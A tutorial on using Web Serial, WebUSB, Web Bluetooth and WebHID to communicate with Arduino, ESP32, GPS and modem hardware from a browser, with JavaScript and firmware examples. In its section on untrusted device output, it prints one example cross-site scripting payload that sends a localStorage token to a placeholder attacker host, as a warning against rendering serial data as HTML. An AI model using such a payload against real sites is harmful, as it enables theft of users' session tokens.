Browser as a universal hardware service terminal for Arduino, ESP32, USB, and Bluetooth
Browser as a universal hardware service terminal for Arduino, ESP32, USB, and Bluetooth

Category: Tutorials | Level: Intermediate to advanced | Platform: Desktop browsers with feature detection; Android support varies by API
Topics: Web Serial, WebUSB, Web Bluetooth, WebHID, Arduino, ESP32, and service diagnostics | Author: Zoran Knežević
Try the tool: Hardware Terminal

For decades, connecting to a microcontroller or service device meant installing a desktop application. Whether you were configuring an Arduino, reading ESP32 telemetry, receiving NMEA coordinates from a GPS module, or sending AT commands to an industrial modem, the first step was usually to install software such as PuTTY, Tera Term, minicom, or the Arduino IDE Serial Monitor.

Modern browsers expose several APIs for working with physical hardware: Web Serial, WebUSB, Web Bluetooth, and WebHID. Where supported, a web page can let you click a button, choose a device in the browser's permission dialog, and communicate with it from JavaScript.

text
Physical device (Arduino / ESP32 / GPS / USB-UART)
       │
       ▼ (USB cable / Bluetooth radio)
Operating system (drivers and device interfaces)
       │
       ▼
Browser with API support (for example, Chrome or Edge)
       │
       ▼ (Web Serial / WebUSB / Web Bluetooth / WebHID)
Local web app (Hardware Terminal)

These APIs do not automatically mean that data is uploaded to a cloud service. A page can communicate with a connected device locally, but the page itself could still make network requests. Review an application's code and privacy policy before connecting sensitive equipment. The Hardware Terminal is designed to process its device stream in the browser; see the tool and its current behavior at Hardware Terminal.

This guide explains the architecture, permission model, firmware examples for ESP32 and Arduino, and the limits to understand before building a browser-based hardware tool.


API compatibility and browser support

Hardware APIs do not work in every browser or on every operating system. Support also changes over time, so check current browser compatibility before relying on an API in production. Use feature detection in your application and provide a fallback.

CapabilityAPITypical usePermission and secure contextCompatibility
Serial communicationWeb Serial APIArduino, ESP32, USB-to-UART adapters, GPS receivers, and 3D printers that expose a serial portUser selection; HTTPS or a local development originLimited availability; verify the target browser and device
Direct USB communicationWebUSB APICustom USB devices with vendor-specific interfaces and endpointsUser selection; HTTPS or a local development originLimited availability; check driver and device-class restrictions
Bluetooth Low EnergyWeb Bluetooth APIBLE peripherals that expose GATT services and characteristicsUser selection; HTTPS or a local development originLimited availability; browser and platform support varies
HID communicationWebHID APISpecialized controllers, panels, pedals, and compatible HID devicesUser selection; HTTPS or a local development originLimited availability; browser and platform support varies

Web Serial is for devices that expose a serial port to the operating system. A USB or Bluetooth device can use it when it emulates a serial port, but that does not make Web Serial a general-purpose USB or Bluetooth API. WebUSB provides lower-level access to compatible USB interfaces, while Web Bluetooth targets Bluetooth Low Energy and GATT. WebHID is for compatible Human Interface Devices.

Safari and mobile browsers have different support from desktop Chromium browsers. Do not rely on a browser name or version alone. Check the latest MDN Web Serial compatibility notes, WebUSB compatibility notes, and Web Bluetooth compatibility notes for your exact platform.

Detect API support before using it

Never assume an API exists. Check the relevant property on navigator before calling it:

javascript
const hardwareSupport = {
  serial: 'serial' in navigator,
  usb: 'usb' in navigator,
  bluetooth: 'bluetooth' in navigator,
  hid: 'hid' in navigator,
  isSecureContext: window.isSecureContext
};

if (!hardwareSupport.serial) {
  console.warn('Web Serial is not available in this browser. Check browser compatibility or use another supported connection method.');
}

The Hardware Terminal interface displays whether the current browser supports the selected transport.


Security model: a page cannot silently choose an arbitrary port

Browser hardware APIs use permission prompts and user activation to prevent an untrusted page from connecting to an arbitrary device without the user's involvement. This is not a guarantee that every page is harmless: grant access only to a site you trust, and review the commands before sending them.

A user action is required to request a device

Methods such as navigator.serial.requestPort() and navigator.usb.requestDevice() must be called in response to a user action, such as clicking a button. A background timer or page-load handler cannot open the device chooser. Existing permissions may be reused by a site, so users should review and revoke site permissions when they are no longer needed.

The browser asks the user to select a device

When the user requests a connection, the browser displays a system-controlled device chooser. A page cannot silently select a new device on the user's behalf. The exact appearance and text depend on the browser and operating system.

text
The website wants to connect to a serial port
------------------------------------------------
● USB-to-UART adapter (COM3)
○ Another available serial device

[Cancel]                              [Connect]

A secure context is required

These APIs require a secure context, normally an HTTPS page. Local development origins such as localhost are treated as secure by supporting browsers. Plain HTTP sites generally cannot use these APIs.


Drivers still matter

Marketing copy sometimes says, “Connect an Arduino on the web without any drivers.” That is not true for every device. Web Serial talks to the serial interface exposed by the operating system. If the operating system does not recognize the USB-to-UART bridge, the browser cannot use a serial port that is not available to it.

text
Arduino / ESP32 board
          │ USB cable
USB-to-UART chip on the board (CH340 / CP2102 / FTDI)
          │
OPERATING SYSTEM (Windows / Linux / macOS)
          ▲ Required OS driver or built-in class support
Virtual serial port (for example, COM3 or /dev/ttyUSB0)
          ▲
Web Serial API
Browser (such as Chrome or Edge, where supported)
  • If Windows does not recognize a CH340 or CP2102 chip, Device Manager may show an unknown device or a driver warning.
  • In that case, the expected serial port may not appear in the browser chooser.
  • Web Serial can replace a separate desktop terminal, but it does not replace an operating-system driver that the device needs.

Linux permissions: Serial ports may be restricted to groups such as dialout or uucp. Follow your distribution's guidance before changing group membership. Adding an account to a device-access group grants it additional access. For example, some Debian and Ubuntu systems use sudo usermod -a -G dialout $USER; sign out and back in for the change to take effect.


Web Serial, WebUSB, Web Bluetooth, or WebHID?

Choose the API that matches the interface your device exposes:

If your device...UseWhy
Connects over USB and exposes a virtual COM or tty serial portWeb Serial APIThe operating system provides the serial interface; the browser exchanges byte streams with it.
Uses an ESP32 or Arduino to send telemetry and receive commands over a serial connectionWeb Serial APIIt is a direct fit when the board presents a supported serial port.
Uses Bluetooth Low Energy with GATT services and characteristicsWeb Bluetooth APIIt is designed for BLE GATT peripherals, such as compatible sensors or a Nordic UART-style service.
Uses Bluetooth Classic SPP/RFCOMM and the platform exposes it as a serial deviceWeb Serial API, where supportedAvailability depends on browser, operating system, and device pairing.
Is a custom USB device with vendor-specific control or bulk endpointsWebUSB APIUse it when the device is compatible and does not expose a more suitable standard interface.
Is a compatible programmable controller, industrial panel, or macro padWebHID APIIt can exchange HID reports with supported devices.
Is a standard camera, microphone, or game controllerA standard web APIFor example, use navigator.mediaDevices.getUserMedia() or navigator.getGamepads().

A shared transport layer

An application with several connection methods should avoid duplicating its display, logging, and command-parsing code for each one. A shared abstraction such as HardwareTransport lets the UI work with byte arrays without depending on which device produced them.

typescript
export interface HardwareDeviceInfo {
  name: string;
  transport: 'serial' | 'demo' | 'bluetooth' | 'usb' | 'hid';
  vendorId?: string;
  productId?: string;
  details?: string;
}

export interface HardwareTransport {
  readonly transportType: string;
  connect(): Promise<void>;
  disconnect(): Promise<void>;
  write(data: Uint8Array): Promise<void>;
  onData(callback: (data: Uint8Array) => void): void;
  onDisconnect(callback: () => void): void;
  getInfo(): HardwareDeviceInfo;
  isConnected(): boolean;
}

With this approach, Hardware Terminal can switch between supported transports or a demo simulator while keeping features such as command history, HEX display, export, and charts in one interface.


Web Serial in practice

The following examples show the main steps for reading from and writing to a serial port with the Streams API. They are starting points, not a complete production-ready connection manager. Handle user cancellation, disconnection, port errors, and cleanup in the surrounding application.

Request and configure a port

Call requestPort from a user-initiated action, such as a Connect button. The browser presents the chooser; baud rate and other serial settings must match the device.

javascript
let port = null;
let reader = null;
let keepReading = false;

async function connectSerial(baudRate = 115200) {
  // Request access after a user action.
  port = await navigator.serial.requestPort();

  // Open the port with settings supported by the device.
  await port.open({
    baudRate,
    dataBits: 8,
    stopBits: 1,
    parity: 'none',
    flowControl: 'none',
    bufferSize: 4096
  });

  keepReading = true;
  startReadLoop();
}

Read the stream and release its lock

Reading uses a ReadableStreamDefaultReader. Calling getReader() locks the stream until the reader releases its lock. Production code should distinguish recoverable read errors from device removal and should avoid starting more than one read loop for a port.

javascript
async function startReadLoop() {
  while (port && port.readable && keepReading) {
    try {
      reader = port.readable.getReader();

      while (keepReading) {
        const { value, done } = await reader.read();
        if (done) {
          // The stream ended or the device disconnected.
          break;
        }
        if (value) {
          // value is a Uint8Array containing raw bytes.
          handleIncomingBytes(value);
        }
      }
    } catch (err) {
      console.warn('Error while reading from the serial port:', err);
      break;
    } finally {
      if (reader) {
        reader.releaseLock();
        reader = null;
      }
    }
  }

  await closePort();
}

Send a command through the writable stream

To send text, encode it as bytes with TextEncoder. Add a line ending only if the device's protocol expects one. Common endings include LF (\n) and CRLF (\r\n).

javascript
async function sendCommand(commandText, lineEnding = '\n') {
  if (!port || !port.writable) {
    throw new Error('The port is not open for writing.');
  }

  const encoder = new TextEncoder();
  const payload = encoder.encode(commandText + lineEnding);

  const writer = port.writable.getWriter();
  try {
    await writer.write(payload);
  } finally {
    writer.releaseLock();
  }
}

Close the connection cleanly

A common cause of reconnect problems is calling port.close() while a reader or writer still holds a stream lock. Cancel the reader, release its lock, and then close the port.

javascript
async function closePort() {
  keepReading = false;

  if (reader) {
    try {
      await reader.cancel();
    } catch (e) {
      // Ignore cancellation errors during cleanup.
    }
    try {
      reader.releaseLock();
    } catch (e) {
      // The lock may already have been released.
    }
    reader = null;
  }

  if (port) {
    try {
      await port.close();
    } catch (err) {
      console.warn('Error while closing the serial port:', err);
    }
    port = null;
  }
}

ESP32 example: telemetry and commands

An ESP32 is a useful platform for demonstrating browser-to-device communication. The example below reads commands and periodically sends sample values. The temperature, humidity, and RPM values are simulated; they are not readings from real sensors.

Supported commands:

  • STATUS reports the LED state and uptime.
  • LED ON and LED OFF control the example LED on GPIO 2. Check your board's pinout before using it.
  • UPTIME reports the time since boot.
  • The device sends a TEMP, HUM, RPM, and UPTIME line every two seconds.
cpp
/*
 * ESP32 Web Serial service firmware
 * Example for the Hardware Terminal tool on tutorijali.app
 */

#include <math.h>

#define LED_PIN 2

unsigned long lastTelemetryTime = 0;
String inputString = "";

void setup() {
  pinMode(LED_PIN, OUTPUT);
  digitalWrite(LED_PIN, LOW);

  // Start the serial port at 115200 baud.
  Serial.begin(115200);
  while (!Serial) {
    ; // Wait for the serial connection where required by the board.
  }

  Serial.println("ESP32-WROOM-32 service node v1.0");
  Serial.println("READY");
}

void loop() {
  // Read commands sent by the browser.
  while (Serial.available() > 0) {
    char inChar = (char)Serial.read();
    if (inChar == '\n' || inChar == '\r') {
      if (inputString.length() > 0) {
        processCommand(inputString);
        inputString = "";
      }
    } else {
      inputString += inChar;
    }
  }

  // Send simulated telemetry every two seconds.
  if (millis() - lastTelemetryTime >= 2000) {
    lastTelemetryTime = millis();

    float simulatedTemp = 24.2 + (sin(millis() / 5000.0) * 1.8);
    int simulatedHum = 48 + (int)(cos(millis() / 8000.0) * 5);
    int simulatedRpm = 1200 + (int)(sin(millis() / 3000.0) * 60);

    Serial.print("TEMP=");
    Serial.print(simulatedTemp, 1);
    Serial.print(" HUM=");
    Serial.print(simulatedHum);
    Serial.print(" RPM=");
    Serial.print(simulatedRpm);
    Serial.print(" UPTIME=");
    Serial.println(millis() / 1000);
  }
}

void processCommand(String cmd) {
  cmd.trim();
  cmd.toUpperCase();

  if (cmd == "STATUS") {
    Serial.print("OK STATUS LED=");
    Serial.print(digitalRead(LED_PIN) ? "ON" : "OFF");
    Serial.print(" UPTIME=");
    Serial.print(millis() / 1000);
    Serial.println("s");
  } else if (cmd == "LED ON" || cmd == "LED=1") {
    digitalWrite(LED_PIN, HIGH);
    Serial.println("OK LED=ON");
  } else if (cmd == "LED OFF" || cmd == "LED=0") {
    digitalWrite(LED_PIN, LOW);
    Serial.println("OK LED=OFF");
  } else if (cmd == "UPTIME") {
    Serial.print("UPTIME=");
    Serial.print(millis() / 1000);
    Serial.println("s");
  } else if (cmd == "RESET" || cmd == "REBOOT") {
    Serial.println("Restarting device...");
    ESP.restart();
  } else {
    Serial.print("Unknown command: ");
    Serial.println(cmd);
  }
}

Connect the board to your computer and open Hardware Terminal. The tool can parse key-value lines such as TEMP=24.5 for a chart. Test commands on hardware you control. A RESET or REBOOT command interrupts the device and any work in progress.


Arduino example: a simple serial controller

An Arduino Uno, Nano, or Mega can use the same basic approach. Set the baud rate and line ending to match the firmware and the board.

cpp
/* Arduino Uno web terminal controller */

const int ledPin = 13;
String command = "";

void setup() {
  pinMode(ledPin, OUTPUT);
  Serial.begin(115200);
  Serial.println("ARDUINO UNO READY");
}

void loop() {
  if (Serial.available() > 0) {
    char c = Serial.read();
    if (c == '\n' || c == '\r') {
      command.trim();
      if (command.length() > 0) {
        if (command.equalsIgnoreCase("LED ON")) {
          digitalWrite(ledPin, HIGH);
          Serial.println("OK LED=1");
        } else if (command.equalsIgnoreCase("LED OFF")) {
          digitalWrite(ledPin, LOW);
          Serial.println("OK LED=0");
        } else if (command.equalsIgnoreCase("READ")) {
          int val = analogRead(A0);
          Serial.print("ANALOG0=");
          Serial.println(val);
        } else {
          Serial.print("ECHO: ");
          Serial.println(command);
        }
        command = "";
      }
    } else {
      command += c;
    }
  }
}

Text mode and HEX mode

Industrial equipment, sensors, and measuring instruments often use binary packets rather than readable ASCII. Each byte can represent a header, length, instruction, or checksum.

Consider this example relay command: 0xAA 0x01 0x00 0xFF 0x0D.

  • Byte 0xAA is not a standard ASCII character.
  • Byte 0x00 is a NUL value that many text-processing tools treat as a terminator.
  • Byte 0x0D is a carriage return and can move the cursor to the start of a line.

The Hardware Terminal can display traffic as TEXT or HEX:

text
TEXT VIEW:
12:30:14.102 TX STATUS
12:30:14.131 RX READY

HEX VIEW:
12:30:14.102 TX 53 54 41 54 55 53 0A
12:30:14.131 RX 52 45 41 44 59 0D 0A

Validate HEX input before sending

When the terminal is in HEX mode, a user might enter a command such as AA 01 FF. Before sending it, an application should:

  1. Normalize whitespace.
  2. Check that every byte contains exactly two hexadecimal digits.
  3. Reject characters outside 0-9 and A-F.
  4. Convert the validated bytes to a Uint8Array.

If the input is invalid, show a clear error and do not send a malformed packet to physical hardware.


Device profiles should contain data, not executable code

Profiles can store settings for an ESP32, Arduino, or GPS receiver, such as the transport, baud rate, line ending, macros, and telemetry parser options.

json
{
  "id": "esp32-custom",
  "name": "ESP32 DevKit",
  "transport": "serial",
  "serial": {
    "baudRate": 115200,
    "dataBits": 8,
    "stopBits": 1,
    "parity": "none",
    "flowControl": "none",
    "lineEnding": "lf"
  },
  "macros": [
    { "id": "m1", "label": "STATUS", "command": "STATUS" },
    { "id": "m2", "label": "LED ON", "command": "LED ON" }
  ],
  "parser": {
    "type": "key-value",
    "delimiter": "=",
    "targetMetric": "TEMP"
  }
}

Security rule: A profile is data, not code. Never evaluate a profile with eval() or new Function(). An untrusted profile could otherwise run script in your application's origin. Validate imported profiles against a strict schema that accepts only expected values and built-in parser types.


Treat device output as untrusted input

Never render serial data through innerHTML or React's dangerouslySetInnerHTML. A connected device can send arbitrary bytes, including strings that look like HTML or script:

text
<script>fetch('https://evil.com/steal?data=' + localStorage.getItem('token'))</script>

If a terminal interprets that string as HTML, it may create a cross-site scripting vulnerability. Render incoming data as plain text, for example through textContent or ordinary React text nodes. Do not assume that connected hardware is trustworthy.


Practical uses

Web Serial and related APIs can help with service and diagnostic work, not only hobby boards.

GPS receivers and NMEA telemetry

Many USB or serial GPS receivers output NMEA sentences, often at 9600 baud. The values below are illustrative examples:

text
$GPGGA,123519,4448.123,N,02027.456,E,1,08,0.9,116.2,M,45.3,M,,*47
$GPRMC,123519,A,4448.123,N,02027.456,E,022.4,084.4,230326,003.1,W*6A

A terminal can help inspect incoming sentences and diagnose reception. Treat location data as sensitive and avoid sharing logs that identify where a person or device has been.

4G/LTE modems and AT commands

Some modems expose a service port that accepts AT commands. Check the manufacturer's documentation and connect to the correct port:

  • AT should return OK on a modem that accepts the command.
  • ATI may report a model and firmware version.
  • AT+CSQ requests signal-quality information.
  • AT+CPIN? reports SIM PIN status on supported devices.

CNC machines and 3D printers

Some GRBL controllers and 3D printer firmware accept commands over a serial connection. Commands such as $$ may print settings, while $H and G28 may initiate motion or homing. Do not send motion commands unless the machine is under your control, the work area is clear, and you understand the machine's safety procedure. A browser terminal does not add physical safety interlocks.


Firmware installation from a browser

Projects such as ESP Web Tools demonstrate how a browser can help install firmware on compatible ESP devices over Web Serial. The exact process depends on the device and may require a boot button, a reset sequence, or other manual steps.

text
User in a desktop browser
       │
       ▼ (Web Serial, on a supported browser and device)
Compatible ROM bootloader (ESP32 / ESP8266 family, as supported)
       │
       ▼
Erase and write the selected firmware image
       │
       ▼
Optional device setup, such as Wi-Fi provisioning

Before flashing, verify the device model, firmware source, and image. Flashing can erase existing data, render a device unusable if the wrong image is selected, or interrupt a running system. Keep stable power and follow the device maker's recovery instructions. Browser access is a convenient interface; it does not make firmware updates risk-free.


What a browser cannot do

  1. It does not understand your device's protocol automatically. Web Serial transports bytes. Your application must interpret what those bytes mean.
  2. It cannot compensate for an operating system that cannot see the device. Drivers, permissions, cables, and hardware still matter.
  3. It cannot request access to arbitrary hardware without user involvement. The browser controls the device chooser and permission flow, though a site may remember previously granted access.
  4. Support is not universal on phones or desktops. Check the exact API, browser, operating system, and device combination before planning a workflow.

Frequently asked questions

Do I need to install a separate desktop terminal?

Not necessarily. A compatible browser can communicate with a supported device through Web Serial or another hardware API. You still need the operating system to recognize the device, and the browser must support that API on your platform.

Are USB drivers still needed?

Sometimes. Web Serial depends on the serial port exposed by the operating system. The OS may need a driver for a USB-to-UART chip such as CH340, CP2102, or FTDI. WebUSB has a different device model and its own compatibility and driver considerations.

Can I use Hardware Terminal on an Android phone?

It depends on the browser, Android version, connection method, and adapter. Test the exact device before relying on it. The Demo Simulator can be used to explore the interface without connecting physical hardware.

Does device data leave my computer?

Web Serial itself provides a local communication interface; it does not upload device data by itself. Whether data leaves the device depends on the web application. Review the application's implementation and privacy information. Hardware Terminal processes its serial stream in the browser, and its current behavior is described in the tool.

Can I save logs for later analysis?

The Hardware Terminal offers local export options for text, CSV, and JSON logs. Check the current tool interface for supported formats and remember that exported logs may contain sensitive device or location data.


Official references